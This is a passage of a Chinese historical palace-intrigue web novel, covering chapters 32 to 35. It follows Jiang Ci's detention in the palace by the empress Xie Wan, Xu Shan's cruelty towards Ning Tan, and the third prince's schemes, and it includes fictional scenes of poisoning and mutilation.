姜瓷闻言抬眸,话说到这个地步,陆无浮已经没有要隐藏的意思了吗。
这事儿她并不知晓,心里隐隐有什么东西串联了起来,许山,宋御史,还有姜卓远对宋御史夫人的态度。
若说宋祥是因为姜棣弹劾他儿子而记恨,许山是为了更大的官职权力,那陆无浮呢?
他上一世为何那般,今生又为什么要帮她。
从他开始说起,若非经历过两世的人绝不可能听懂。
眸光流转,姜瓷对上他那双看不出喜怒,却永远含笑的眸子
。
她很想问他为什么要帮她,可迟迟说不出口,陆无浮知道她已经想透彻了,轻笑开口:“姜姑娘可还有其他问题?”
“姜卓远在这些人其中吗?”姜瓷先前就有所怀疑。
可是姜卓远实在没理由要害姜棣,他们是一家人,是被绑在一条船上的。
一人落水,船便覆,姜卓远那种人怎么会想不到。
陆无浮却是沉默了,虽说上一世这其中有他的手笔,可他也并不是尽数知晓。
他只是顺手做了一件事,甚至都不知道姜卓远也参与了。
“咱家不知。”陆无浮诚恳道,又有些好奇,“为何会怀疑他?”
姜瓷摇了摇头,既然陆无浮这么说,她也没有追问下去的理由,只淡淡道:“多谢。”
她呼出口气,蓦地起身:“小女便不多留了,兄长还在等。”语气中分明全是疏离。
“若厂督大人有需要小女的地方,随时登门。”她也知道这般不太好,可的确不想再多留。
“问题问完了姜二姑娘就要走了?”陆无浮笑她太过无情。
姜瓷回眸看他,似是在问他还有什么事吗,眼中却隐隐有些防备。
陆无浮睫毛颤动,声音中染上些怒气:“姜昭,你无需对我提防,我不会伤你。”
往日他甚少这般失态,姜瓷更加不解却十分好奇。
“谁知道呢?”姜瓷收起眼中的锐利,唇角勾着,“还是谨慎一点才好,对吧厂督大人。”
“毕竟没人会无缘无故的帮另一个人,定是有所图才会尽心尽力,虽不知厂督目的在何处,但小女
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不甚感激。”
说完,她微微颔首,便拉开门走了出去。
留陆无浮一人独坐在那处,他手中茶水已凉,刚才那瞬间的恼火也跟着消散了。
他能图什么呢?不过是图她那个人。
可是这般卑劣的想法,他万不敢让她知道。
*
穿过堂皇的许府行至破旧回廊,任谁也想不到这样的府中还有一处无人问津的偏院,那院里杂草横生,青苔蔓延,却有人久住在其中。
天色已黑,月光飘飘洒在女孩的身上,她一声素色衣裳,头发半挽着,瞳孔空洞,看上去无波无澜。
“小姐!他们实在是太过分了,怎可让你去嫁!莲菲说着便掩面要哭起来,“谁不知道那宋冠肥头大耳出了名的好色,小姐嫁过去定没好日子过!”
宁檀依旧神色淡淡,躺在房中窗边摇椅上,透过破旧的窗棂望着月亮。
莲菲忽然神色一动,急急道:“小姐,我们逃吧!总归天大地大,我们又无所牵挂,左右都比叫那宋冠折磨了去要来得强。”
“能逃去哪里?”宁檀神色悲怆,“我已经没有家了。”
她十二岁时家族衰败,父母承受不住打击,双双自尽,留她一人独活人世。
她按着父母最后的安排,到了许家,本以为是一场痛苦的寄人篱下。
可没想到却遇到了一个真心对她好的人,那人虽不似传闻中一般温润如玉,但却是这府上唯一善待她的人。
宁檀初来府上时,许老太太看人下菜碟,见她如此累赘当即就什么也不顾的要把她扫地出门。
要赶她走却不愿意将她父母给许府的最后一点钱财还给她。
那时的宁檀哭都没力气,跟莲菲两人相依在许府门前,不知所措。
是许山傍晚回来时,才将她带回了府中。
府中没有一个人对她有好脸色,许山为了她和老太太大吵一架,最终老太太才勉强退了步,让她住在偏院中自生自灭。
许山对她很好,总是给她送些东西,让她日子过得不至于那么糟糕。
他总在夜里来看她,抱着她入睡,宁檀躺在他怀中时常脸红,她想,他应该也是有一点喜欢她的吧。
可事到如今宁檀还有什么不明白,她不过是他养在府中的一个玩意儿,无聊时用来解闷,有危难时第一个将她推上去,偏偏她还错付真心。
宁檀并非不能逃,只是心已死,对任何事都提不起兴趣。
她想通了,嫁便嫁吧,左右就当报答了许山这么多年维护她的恩情。
就算在宋府中死了,也是她命中注定的,她早就该死了,若是没死,那也跟许山两清了从此陌路。
宁檀活了这么多年,唯一牵挂的就是莲菲,她从小跟在她身边,是个好丫头,只望自己别牵扯上她。
“莲菲,你走吧,天高路远,寻个好人家,别再跟着我蹉跎了。”宁檀眸子低低垂着,轻声道。
“我不!”莲菲听到宁檀要抛弃她瞬间着急起来,“莲菲这辈子都不会离开小姐的!无论生死莲菲永远陪着小姐一起。”
莲菲幼年便在青楼中,是宁檀不嫌弃她,将她带在身边十几年,她怎么可能抛下她?
刚说完,那破旧回廊中就传来一道冷冽的声音,激得莲菲背后一身冷汗:“谁要走?”
32.第 32 章
灰色砖瓦下,许山一身白衣与周围格格不入,他神色冷冽,周身包裹着寒意。
他走进房中,本就逼仄狭小的地方更显拥挤,莲菲急躬身道:“公......公子。”
宁檀却是躺在摇椅上未分给许山一个眼神,仿若他不存在一般。
“你下去。”他厉声吩咐道。
莲菲声音有些发抖,称了声是,担忧地看了宁檀一眼,退出了房中,将门轻轻拉上。
余下两人谁也不说话,不知过了多久,许山眉头微微蹙着:“你生气了?”
“宁檀不敢。”她似轻嘲般扯了扯嘴角。
许山被她这副态度弄得有些恼,往前迈两步便要上前去拉她。
哪里有往日翩翩公子的样子,可在宁檀这处他永远是这样的,对待旁人的温柔到她这里就变成了严肃漠然。
即使是这样一个人,却也让她贪恋了这么些年。
宁檀恨自己不争气,眼底酸涩,一滴泪珠没能忍住直直滑落。
她被许山拉起踉跄着站在躺椅前,这地方本身就不大,躺椅旁就是她的床榻,前方门旁留了一小块地方站人。
“哭什么?”许山面上染上几分不耐,却下意识想将她抱在怀里。
是这么想的,也是这么做的。
宁檀自然不肯,她情绪陡然激动,伸出手就去锤他的胸口:“松开!”
可男女力量悬殊,许山站定一步都未动,强硬地将她摁在了胸间。
他身上一股胭脂俗粉的气味,刺鼻的香气扑面而来,惹得宁檀一阵咳嗽。
许山这才将她松开,宁檀立马后退半步,又是一阵撕心裂肺的咳声。
他面色冷了几分,目光扫过却发现自己白色斗篷的侧边沾上些红润。
正是姜嫣留下的,许山嫌恶地将斗篷取了下来,这才明白宁檀这般的原因。
这香味着实有些浓的刺鼻,只是他待得太久已经习惯了。
这般想着,许山有几分安慰的意思,缓声道:“今日出门不小心沾上的。”
“为何要同我解释?”宁檀因为刚刚的咳嗽,面色红润了几分,眼中却多了抹锐利。
许山有些被这眼神刺痛,他在宁檀面前向来是绝对的主导者,他将她留下的原因也只是想要家中有个听话的人每日等着他。
可现在就像自己养的宠物突然对你露出獠牙,他第一瞬反应便是愤怒。
“宁檀,你别不识好歹!”许山寒声道,“你别忘了是谁养着你,不然你早该去流浪街头。”
“从公子让我去宋府的时候,我们之间就已经两清了。”她迎着许山的目光,冷冷道。
平日里宁檀何时同他这样说过话,永远是一副小女人的温婉模样,许山很是受用。
可现在他隐隐觉得眼前这人脱离了掌控,于是许山怒气更盛:“你在许府五年我何时亏待过你?你这种无名无姓之人,能嫁进宋家做个大少奶奶已经是抬举了,还有何不满足。”
许山声音忽然提高:“莫非你还妄想做我的妻?”
他这番话着实过分,每一个字无一不在羞辱宁檀,她眼中满是不可置信,饶是已经没抱任何期待,还是能察觉心在钝痛。
“你一直都是这样看我的?”她眼底浮现出一抹苦笑,“你大可以不接纳我,将我宁家的钱财还给我,由我自生自灭去。”
“可你许府上的人个个都贪得无厌!要财却不肯留人,我原以为你与他们不同,现在看来,我当真愚笨!”
宁檀这番话说得急切,捂着心口一时间喘不过来气,许山的脸色更是黑到了极致。
下一瞬,一抹鲜红的血液从她口中吐出,苍白的唇上染上艳色。
她竟是被气到吐了血,许山原本满是怒意阴沉的脸不适时划过一丝无措。
许山下意识想要伸手,宁檀却一手捂住胸口,一手指向窗棂,大骂道:“滚出去!”
她活了十七年都甚少有这般粗俗的时候,是真的被气急了,许山心底虽有些担心,但被她这样骂难免觉得佛了面子。
于是刚刚的一丝关心尽数消散,全觉是她自作自受,他喉间轻蔑的冷哼一声:“这人你嫁也得嫁,不嫁也得嫁!”
说完,他一甩袖子便快步离开了那方屋子,面色沉得将一路上的下人都吓了一跳。
往日里谁曾见过许山这副样子?
许山回到屋中,将今日的衣着尽数脱下,随手扔给下人,眼底满是厌恶:“全扔出去烧了。”
那下人悻悻应是,许山着一身素衣坐于案前,手中拿着本书看,可看了半晌却是一个字都没能看进去。
每看一个字想到的都是宁檀那张决绝的脸,他只觉得心里有一块空落落得,仿佛自己失去了什么。
可不让她嫁难道要让自己的亲妹妹去受苦吗,这本就是她应该做的,宁家本就衰败,那些钱财能够她活多久。
许山蓦地扣下古书,她这么多年来还不是要靠着他生存,凭什么敢对他那般无礼。
*
黑冷阴森的地牢中,冰冷石头堆砌成墙壁,水珠一滴一滴落下,铁栏杆上锈迹斑斑,整个牢房中一片昏暗,只有烛光微微晃动。
牢房里时不时传来痛苦的嚎叫,过了会又是咆哮着怒吼,却只能叫着一个字也说不出。
那个黑瘦的狱卒被吵的头疼,轻轻拍了拍耳廓,不耐道:“这人烦不烦,从早叫到晚,这牢里总共都没几个人,净听他叫唤了。”
“这人也不知犯了什么罪过,竟被如此对待。”他对面捏着酒壶的狱卒醉醺醺道:“听说舌头被割了,还要关在此处被特别对待。”
他又接着神秘兮兮道:“我那天偶然听说,是得罪了厂督大人的心上人!”
“胡说什么。”黑瘦狱卒假装严肃,转瞬又嬉笑出来,“厂督大人能有心上人?”
他尾音上调,目光往下扫了扫,随后两人眼神碰撞在一起,心领神会大笑出来。
“喝点吧兄弟。”那人奸笑着,“庆祝咱们还是完整的人!”
他话落又是一阵大笑,笑声里嘲讽意味十足,再有权势又如何,这辈子都得不到心仪的女人。
黑瘦狱卒顺手接过,也笑着喝了下去,他到这个牢中职守已经有小半年时间了,几乎没守过几个活人。
到这的人他便没见到能活着出去的,所以他们自然不怕说的话被泄露出去。
只是那酒刚下肚,便觉着头有些昏昏沉沉,那黑瘦狱卒不住喊道:“兄弟?你还好吗。”
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可只听“咚”的一声闷响,刚才还好好喝着酒的人便倒在了地上,他急忙蹲下身查看,却又一阵头晕袭来,他也倒在了地上。
阴冷昏暗的地牢中,突然出现了一道光亮,那个身着冰蓝色锦袍,腰间挂着一块龙纹佩,逆着光站在入口,居高临下地俯视着地牢中。
他身边人拱手道:“殿下......”
萧寂抬手示意他停下,嘴角勾出一抹玩味地笑:“陆无浮也有今天,心上人,倒是有意思。”
他说着,两手负在身后,慢悠悠走进了其中,那两人晕倒在了狭窄的路中间,萧寂见状微微“啧”出一声。
他身边人立刻明白了意思,将那两人拖至一旁,萧寂这才神色舒展,往前走了两步,似是又想起来什么。
他漫不经心看向那边沉睡着得两人,讥笑道:“现在连这种货色都能编排厂督了吗?”
萧寂转头吩咐道:“拖回去喂狗。”
他的声音回荡在地牢中,侍从战战兢兢答了声是,再抬头却只看见了萧寂的背影。
这便是当今三皇子殿下,兰贵妃的儿子,喜怒无常,兰贵妃虽是他的生母,却将他放在谢挽那处管教。
因此在宫中成了副爹不疼娘不爱的样子,最终变成了这般性格。
萧寂却不觉得有什么,兰贵妃不喜欢他又如何,萧策不拿正眼看他又如何,等他有了真正的权势,他要将这些人都踩在脚下。
如此想着,萧寂哼着曲子,便朝里走去,很快便见到了那个成日在牢房中嚎叫的人。
萧寂立在铁锈栏杆前,眉眼一动,长风便咆哮着抓过来,张着血盆大口,像恶犬一眼扑上来要咬他。
他一步都未动,甚至饶有兴味地看着长风:“几日未见,怎么变成这样了?”
“是谁对你动的手?”萧寂满眼好奇,“姜府里,谁?”
他嘴角噙着笑,看长风嚎叫了半天,才慢悠悠道:“噢,本宫忘了,你说不了话。”
萧寂摇了摇头:“可惜啊可惜,本准备你答上来就放你走的,如今是没办法了。”
他神色看起来惋惜极了,长风像是听懂了似的,呜呜叫着,不似之前那般理智全无的模样。
萧寂看透他眼底的恨意,继续悠悠道:“你想活?”
长风呜哇哇叫着,快速点头。
“那你就回答本宫几个问题。”他沉吟片刻,问道,“害你至此的是姜府嫡母?”
长风快速摇头,眼眸中一片猩红。
“那是......姜二小姐?”
话落,长风便像疯了一样,猛地撞在铁栏上,将两只满是冻疮的手伸出来胡乱挥着,情绪十分激动。
萧寂默不作声往后退了一步,知道自己这是说对了,他含笑的面上闪过一丝阴沉。
就是此人坏他的好事,他微微咬住后牙,听闻先帝有一封遗诏藏匿在尚书府,虽不知真假,但萧寂却十分地想看看。
萧策这无能昏庸的皇帝平日里混乱的很,立储这件事上却一点都不含糊。
就因为太子是谢挽生的,而他是兰贵妃生的?凭什么萧策就是看不见他的优秀。
既然眼拙那便不要坐在那个位置!萧寂不知道从什么时候开始心底的恨意越发浓烈。
33.第 33 章
萧寂淡笑着转身,长风喧闹声不绝于耳,像是恨毒了姜二的样子。
他唇角勾着,能引得陆无浮出手帮忙的人还真是罕见,只是帮这忙到底是因为有利可谋,还是如那两人所说的那般?
行至地牢口,他淡淡吩咐道:“把那东西给里面那人,能不能把握住就看他自己了。”
两个侍从面面相觑片刻后,躬身声音有些颤抖:“是。”
他们当然知道萧寂说的是什么,宫中总共就三位皇子,太子尚年幼,二皇子一心只读圣贤书,三皇子却格外爱研究毒药。
这次带过来的东西有市无价,十分珍贵,据说只要接触到一瞬,一个时辰内便会毒发,泣血而亡。
*
姜瓷看见姜棣时,他站在那方一动不动,垂着眼皮不知在想什么。
她笑着快步走上前:“哥哥。”
“你方才去找谁了。”他忽然质问道:“可是那周以延?”
姜棣这副样子着实吓到她了,可她想到刚才在巷子中被周以延摁在墙上,心中又难免委屈。
她是为了探究一些事情去追的许山,但究其本身还是为了姜棣,现在他这般语气,姜瓷莫名眼底酸涩。
她知道姜棣不是故意的,只是太过关心她,可眼眶还是抑制不住地泛了红。
他神色有些动容,知道自己话说重了,抚上她的头,轻声说了句:“抱歉。”
随后将手中糖葫芦递给了她,姜瓷转瞬便笑了出来。
神色转变之快姜棣都险些没反应过来,她轻快接过糖葫芦:“哥哥对我最好了。”
两人回到尚书府时天色已经暗沉,姜瓷思索了一路,是否要将许山的事情告诉姜棣。
可无缘无故开口未免显得太过突兀。
她抿着唇下了马车,姜棣看过来时却又飞快地换上一副笑靥。
分明是喜庆时节,尚书府中却一片压抑之色。
姜瓷刚回府便被姜卓远叫了去,她有些不明所以。
姜卓远坐于案后,神色威严,姜瓷已经有些时日没跟他说过话了。
但还是恭敬道了声:“父亲。”
“你何时学会奏琴?”姜卓远一道犀利地眸光看过来,“非要在宫宴中出风头,现在你自己看吧!”
他脸色铁青,将一个精致的锦盒重重摔在姜瓷脚边,她垂眸看去,那上面凤凰图案由金色丝线编织而成,看上去泛着细碎的光,却又叫人生出丝丝寒意。
那分明是皇后才能用的东西,谢挽亲自修书给她,是有何事?
她缓缓弯腰将锦盒捡起,信笺用红色丝绸卷着,静静躺在其中。
信中字迹娟秀又端庄,柔婉的笔锋却叫姜瓷越看越觉得触目惊心。
内容不多,大致意思便是夸奖姜瓷琴奏得好,希望她入宫去指导一番萧茵,再顺便说些客套话。
这分明就是鸿门宴,但凡有点眼色的人都能看出来。
谢挽疼爱萧茵是出了名的,她在宫宴上那般叫萧茵丢了面子,想来谢挽也不会轻易放过她,左右得替萧茵出一口恶气。
“你自己惹下的祸必须去!”姜卓远抚着胡子,恶狠狠道:“你若是敢连累了家族......”
剩下的话他闭口不言,姜瓷当然也能猜到,无非就是些威胁。
她淡淡将信笺放回锦盒中,眸中闪过寒意:“知道了。若无事小女便告退了。”
虽是这么说的,但她不等姜卓远说话便走了出去,姜卓远见她如此目中无人,一时气急,将砚台猛地摔在地上,大骂道:“逆女!”
姜瓷神色紧绷着,快步走出院子,无人在意的黑暗中,忽然探出来了一道人影。
谢祈眉头微微皱着,刚才房中一切被他尽收眼底,他眸色陡然暗了几分。
翌日一早。
红墙之中,几个洒扫地婢女有一搭没一搭地闲聊着。
“最近宫中玄乎的很,听说尚食房中又离奇死了几个宫女。”拿着大扫帚的宫女懒懒道。
“是啊,从宫宴过后便开始了。”另一个打理着花盆的宫女神色中闪过一丝惧意,贴近那个宫女,低声道,“你说这宫中不会招来了什么邪祟吧。”
说完两人面面相觑,皆是不由自主咽了咽口水。
当今人们格外信奉鬼神之说,也许是受了皇帝的影响,也许是想给荒诞的事实找一个借口,总之十分忌惮这个。
拿着扫帚的宫女察觉过来,急转回头,快速扫着脚下没什么灰尘的青石板,颇有些心虚的意思:“胡说什么,还不好好干活。”
冬日大雪白茫茫一片,谢挽哼着曲摆弄着花园中的叶子。
薄雪覆盖在上面,她不顾寒冷用手去把那雪融化,嫩绿便出现在眼前。
“母后!”萧茵提着裙子便小跑着过来,“她可是今日来?”
这个她自然指的是姜瓷,谢挽闻声抬头,轻声指责道:“慢些,急急燥燥成何体统?”
她眼底又划过一丝轻蔑:“她不敢不来,东西可准备好了?”
“当然。”听谢挽这般说,萧茵微微放下心来,随即唇角又勾起一抹笑,“母后聪慧。”
“油嘴滑舌。”谢挽用冰冷的手指轻刮了下萧茵的鼻尖。
这一次她算是把事情做绝了,谢挽走回亭中,用帕子轻轻擦拭着手指。
她同她这个侄子不只长得有几分相似,就连性格也是出奇的像。
谢祈大部分时间都是一副冷冷的模样,为了一个人不惜跟她反目,谢挽捏住帕子的手猝然加重了力道。
她眼底闪过一抹阴鸷,那这人,绝不能留。
“娘娘。”谢挽的婢女小步过来,低头道:“尚书府二姑娘来了。”
谢挽收起刚才那番神色,转头又换上了一副柔和的笑靥:“快去请她过来。”
姜瓷被一路带进坤宁宫中,这是她重生回来第二次进宫了,依旧是红砖金瓦,庄严肃穆,红墙之下却隐匿着危险的气息。
“臣女拜见皇后娘娘,公主殿下,娘娘万安。”
谢挽唇角勾着,抬手道:“平身吧。”
“宫宴听你奏一曲觉得甚是好听。”她说着目光看向萧茵,“这才请你入宫指点她一番。”
姜瓷听着只觉头皮发麻,她着实是不会,无奈之下只得低头躬身道:“臣女万分惶恐,实在是不善琴艺,那日一曲便是臣女唯一会的,娘娘见笑了。”
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她眼睫颤动继续说,“公主殿下琴艺卓群,臣女万不配指点。”
“哦?”谢挽笑意减淡几分,眸底有寒意闪过,“那便请姜姑娘将那一曲好好教给茵儿吧。”
她刻意加重了好好教三个字,颇有种咬牙切齿的味道,姜瓷也不好再推脱。
她只能应下,谢挽这才又笑了起来,“那便好,就请姜二姑娘这几日暂居宫中了。”
姜瓷霎时变得警惕起来,谢挽书信中可未提到要她在宫中留宿。
来宫中本就是赴鸿门宴,她交代过姜棣,若是自己一日未归那便进宫来寻她。
可现在这般,姜瓷不敢露出情绪,只轻声道:“娘娘,兄长还在家中等着小女,出门前也未道要在外留宿,恐家兄担忧……”
“书信已经送出。”谢挽淡淡打断她,从婢女手中接过一盏茶,“姜二姑娘还有何顾虑?”
话落,两名婢女忽然出现在她身后,仿佛她不答应下一瞬便要将她押下。
萧茵站在那方,笑着道:“姜二姑娘就别推脱了,母后已经为你安排好了一切。”
这话中含义不言而喻,姜瓷转眼跟她对视着,拿双含笑的眸子中分明堆满了恨意。
谢挽笑而不语,揭开杯盖微微吹了吹:“带姜二姑娘下去。”
身后那两个婢女上前就要去拉姜瓷,她默不作声躲开:“多谢娘娘好意,劳烦你们带路了。”
她淡淡侧身看过去,那两人也不好再动手,做了个请的动作,一人走在前方带路,另一人在姜瓷斜后方盯着,生怕她跑了似得。
姜瓷行至门前,竹月在那方等着她,见她出来急道:“小姐……”
她使了个眼色,竹月很快噤了声,后面那婢女深深看了竹月一眼。
生处宫中人人都谨慎至极,一步行差踏错便会招来杀身之祸万劫不复。
那婢女的眼神空洞无波,像是提线木偶一般,不由得让竹月生出一股害怕。
她急忙低了头,跟在姜瓷身边,一路行至雪琼苑中,这才安顿下来。
那两个婢女转身便准备走。“等等。”姜瓷喊住她们问道:“请问何时去见公主殿下。”
她们停下看着她却一言不发,其中一人淡淡摇了摇头。
姜瓷眉头微蹙,伸出手猝然捏住她的下巴,强迫着她张开了嘴巴。
果然,口中一片狰狞,舌头被割断,生机全无,看上去是断了很久的模样。
那婢女挣扎着躲开,发出呜呜的声音,饶是姜瓷心中有所准备,也被那惨状吓到了,脸色瞬间变得煞白。
竹月在她身后自然也是看到了,微微张着嘴被惊得不敢出声,她不自觉地向后退,却不小心绊倒,一下跌坐在地上。
那两人匆匆行了礼,便快步离开了雪琼苑。姜瓷站在那处看着两人的背影消失在道中,久久未回过神。
这红墙仿若张开了血盆大口,要将她吞入腹中,谢挽比她想象中更狠。
此时,萧茵面带些疑惑看向刚刚走出的两个婢女:“母后,为何茵儿从未见过那两人。”
谢挽捏着茶盏,姿态中满是贵气,她抿了口茶水,笑着淡淡道:“这般人,生来便是工具,茵儿不必见。”
34.第 34 章
雪琼苑大门紧闭,门外重兵把守,竟像是在看犯人一般,可笑姜瓷还是她们请上门的“贵客”。
姜瓷被关在苑中,一关便是一整天,她无所事事地坐在院中下着棋。
竹月在一旁撑着脑袋,看向严丝合缝的大门,忍不住叹气:“小姐,这可怎么办,皇后娘娘铁了心要将你关在此处了,只希望大公子能早日发现端倪。”
她又回想起早上见着的惨状,忍不住一阵后怕:“这宫中还真是吃人不吐骨头,为何要将她们舌头割去,太恐怖了。”
姜瓷一子落下,开口答道:“守密,为了让他们无法泄露秘密,这是最残忍也是最保险的办法。”
皇宫之中无人敢轻信旁人,于是手段千百种,或是威胁或是利诱。
只是谢挽看上去一派温柔模样,没想到背后手段竟如此狠辣。
是日夜里,风雨交加,电闪雷鸣,暴雨倾盆般下着,仿若要侵蚀一切,耳房之中,红木已经渐渐腐朽。
到处弥漫着绝望的气息,那两个哑女静静依靠在一起,手紧紧交叠着似乎在等待着什么。
不过顷刻,门吱呀一声被打开,是一个上了年纪的嬷嬷,闪电在她背后蓦地绽开,逆着光看不清她的神色。
她自带着一股威严的气势,满脸的褶子,眼中却含着泪水。
两人见她急忙站起行礼,那嬷嬷手中端了一个盘子,上面平静地立着两个白玉酒盏。
她强逼回了眼泪,将盘子递上,杯中酒液在月光下泛着光泽,波澜的液体反射出李嬷嬷的眼眸。
她神色带了些许的悲怆,更多的却是无能为力,其中一个哑女呜咽着,发出诡异扭曲的声音,随后豆大的泪珠从眼角滑落。
另一人却是一脸空洞之色,像是早已坦然接受了一切,她率先走上前,拿起酒盏,仰头喝下。
毒酒滑入喉间,瞬间五脏六腑都灼烧起来,疼痛难耐间,她忍受不住地倒在了地上,蜷缩起来。
身边那个哑女,不停摇头流着泪,说话不成字句,却蹲下身去抱着她不停哀嚎着。
很快那人便断了气,死在了她的怀中,李嬷嬷俯视着她们,心间猝然疼痛,可她无能为力。
眼底一瞬决然过后,她捏起那杯毒酒,突然掐住那人的脸颊,强迫着她张开嘴,在呜咽声中将毒酒灌入。
很快她身体颤抖起来,痛苦呻吟着,李嬷嬷终于忍耐不住,也大声哭嚎起来,可仔细看,她的口中也是一片狰狞。
她们便是被称作“工具”的那群人,或者可以说是死士,这两人从六岁入宫起,便被割舌送到她的身边,由她带大。
宫中除了她们还有很多个像这样的人,平日里低调默默无闻,在有需要时却必须拼上性命。
三个哑巴的生活并不方便,两人中,姐姐性格沉稳内敛,妹妹却是活泼,因为两人都年纪尚小,所以对宫中那些事也并不完全透彻,那是李嬷嬷度过的最开心的几年。
可随着日子越过越久,身边的那些人越来越少,任谁都能发现,姐姐本就细致,自明白毫无生还可能之时,她便整日郁郁寡欢。
想反抗可却不敢,她们这些人并非是被强迫的,而是自愿,用自己的性命换家人平安,两姐妹也是如此。
只是那时年纪尚小,有很多事都没能明白,她们不知道死士是什么意思,但她们想让家人过上安心的生活。
李嬷嬷是幸运的,却也是不幸的,她在宫中侥幸活了这般久,虽痛苦难言但也算是保住了一条命。
可身边人一个个离去,独留她在此处绝望之时,她也想干脆死了,可不行,宫外还有人需要她。
夜已深,她来不及再伤痛了,李嬷嬷快速抹去眼泪,将两人摆成一种奇异的姿态。
因着那毒酒的缘故,她们很快便七窍流血,在一片阴暗的耳房之中显得格外诡异。
李嬷嬷布置好一切,静悄悄关上门,冒着雨离开了那地方。
翌日清晨。
大雨后空气中都弥漫着潮湿的气味,昨天那个打理花草的婢女哼着歌儿,推开了耳房的门。
“啊!!”她见到眼前场景吓得跌坐在地上,脸色苍白大喊,“死人了!快来人!”
她不停蹬着脚向后退去,昨日跟她一起的另一人慌忙来扶她。
“晴鸢,你没事吧。”
只见晴鸢手指颤抖,指着前方房间,满脸惊恐:“死……死人了。”
露雨顺着方向看过去,忍不住咽了咽口水,小心踏步走了进去。
一进去饶是有心理准备,依旧被吓了一跳,只见耳房中躺着两具尸体。
那两个婢女穿着淡色裙袍,一个从床边挂下,倒仰着盯着门口,七窍流出的血液干涸在地上,可怖至极。
另一人手脚怪异的反折着,似软弱无骨一般,叠在那人身上,面容也是一片模糊。
露雨虽知道近日来宫中总是离奇死人,但这是她第一次切身体会,没想到死相如此惨烈。
方才晴鸢的尖叫声太过刺耳,众人闻声赶来,一时间宫中议论声不绝于耳。
露雨去扶着晴鸢,脸色煞白,在她耳边悄悄道:“宫中真的有脏东西。”
人心惶惶之时,忽闻一声高呼:“皇后驾到!”
所有人都恭敬行礼,谢挽淡定坐着,看起来雍容极了,她问:“何事喧哗。”
大家面面相觑竟无一人敢出声,谢挽眉头微微蹙起,扫过底下这一群人。
不知过了多久,露雨不顾晴鸢阻拦,上前跪下,声音有些颤抖:“娘娘,近来宫中频繁死人,奴……奴怀疑是有秽物进了宫中,还望娘娘彻查!”
她说完伏在地上,久久不敢看谢挽,在宫中这些事本就是禁忌,可是露雨一想到那般惨状就忍不住想要说出来。
她害怕下一个就到她,若是她也那般死去了,该如何是好。
谁料,谢挽非但没动怒,蹙起的眉头也放了下来,微微笑道:“当然,本宫绝不会轻易放过在宫中为非作歹之人。”
她吩咐道:“冬雨,带两个人去查查那耳房。”
一旁的冬雨急急应下,她不知发生了何事,但听露雨说死人了难免一阵心惊。
待冬雨走后,谢挽唇角又绽开一抹笑容:“起身吧,你叫什么名字?”
“奴名露雨。”她将头埋得低低地答道。
平日里谢皇后素有温婉
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之称,现在看来还真是不假,可不知为何她心中隐隐跳着。
“露雨。”谢挽抬眸看她,神色满是笑意,“是个机灵丫头,来本宫身边伺候吧。”
露雨微微怔了瞬,急急跪下谢恩:“谢皇后娘娘。”
她垂着眸子,不知道谢挽有何用意,再转头,便见耳房中两具盖着白布的女尸被抬出。
冬雪从耳房中出来,面上带了几分战战兢兢,她快步走上前,贴近谢挽附在她耳边低声道:“娘娘,找到个东西。”
说着,她朝远处招了招手,那婢女端上,盘子上躺着两个怪异的木偶,姿势正如那两个死去的哑女一般。
在场人见到的都纷纷议论不停,谢挽却像是早有预料一般,神色一动未动。
不知过了多久,待周围渐渐安静下来,她忽然痛心棘手道:“这是巫术啊!”
“有人用此等邪祟之物霍乱宫中,其罪当诛!”
晴鸢和露雨对视了一眼,眼中满是忧虑,做贴身侍女固然好,可这也代表会知道很多不为人知的秘密。
若是不小心听到,或是被怀疑,那露雨的性命可就难保了,晴鸢自然不希望她去。
“这该如何是好,还请皇后娘娘做主!”底下有人忽然高声道,其他人便也附和起来,“还请娘娘做主!”
谢挽勾唇轻笑,眉心故作为难:“快起来,本宫识得一人,专会处理这些事,据说是江湖中有名的除邪大师,冬雪,快去将她请来。”
“是。”冬雪低头应下,快步离开了此处。
-
临潭峰上一片肃穆之色,谢府立于其上,藏匿于云雾之间,谢祈一身黑衣行于其内。
谢季将他当工具,谢挽又何尝不是,这一次是他的底线了,他快步走着,很快便到了谢挽院中。
说来有趣,这院子谢挽几乎一辈子都不会回来了,可是却日日有人尽心尽力打扫,一丝灰尘都未落下。
他翻过院墙,不似常人院中种些花花草草,谢挽这院子凄凉的可怖,中间立一尊佛像,前方香灰炉中插着几根檀香,正淡淡飘着细烟。
谢祈蹙眉,没人住的院子,为何还要供奉,他来不及思考,推门走进房内,一道身影却立在其中。
陈黛转过身来,她一身紫色长袍,眼眸闪了闪,开口问道:“你怎么回来了。”
“这话应该我问继母才是。”谢祈向前走两步,将门关了起来,“继母为何在这处?”
“你为何来,我便为何。”陈黛笑了笑,妖艳的脸上出现一丝探究,“如此沉不住气,你要我怎样说你才好,我们应是一条路上的人。”
谢祈眼中闪过一丝嫌恶:“谁跟你是一路人。”
“你不承认也罢。”陈黛行至他身侧,淡声道,“只是那东西你就别妄想了,我寻了多少日也未找到,何况你?”
谢祈侧头看她一眼,她神色晦暗不明,陈黛为何要同他说这些:“你不怕我告诉谢季?”
陈黛闻言轻笑:“他现在昏迷在房中,你若想说便去吧,只是你别忘了,我们才是一路人。”
说完她便推开门走了出去,话语中隐隐约约透出来的自信却久久都未消散。
35.第 35 章
谢祈一直到她的背影消失才回过神来,他眸色一沉。
谢家一直流传着一个东西,谢挽视作珍宝不得不藏起来的东西,是谢挽多年来在宫中囤积的势力,听闻能够号令百军。
那东西被谢挽藏在谢府中,谢祈不明白她为何如此信任谢季,但眼下他一定要找到。
陈黛的目的应也是在此,这样想来陈家的居心就明确了,无非是想要夺兵权。
谢祈唇角勾了勾,他的确不会告诉谢季,纵然他讨厌陈黛,可是她没说错,他们的确在一条船上。
“主子。”一道声音传来,黑衣人翻过院墙,脚步轻盈行至谢祈面前,恭敬道,“人已经准备好了,随时可以动手。”
谢祈点了点头,环视过谢挽房中,这地方虽干净,却少了点人气儿,一看便不像是平常住人的地方。
他缓声道:“不着急,不到最后不要暴露。”
那人答:“是。”
他是银泉的亲哥哥,性子却比银泉沉稳太多,两人从小便侍奉谢祈左右,称得是他的左膀右臂。
银幽顿了片刻,小心问道:“银泉还好吗。”
“已无大碍,你不必担心。”谢祈眸光扫过他身后,淡淡烟雾飘出,他眉心一动,“走,东西不在这。”
方才陈黛说这方中她已经找过许久,还是未能找到,那他这一时半刻自然也是没什么把握。
可陈黛为何要给那尊佛上香,那檀香分明是刚刚点上,还剩了大半截,这便显得有些可疑了。
况且,不止是那间屋子,这整个院子里都干净的过分,不沾一丝灰尘,却也并无一点生活的痕迹。
银幽怔了瞬:“那会在.....”
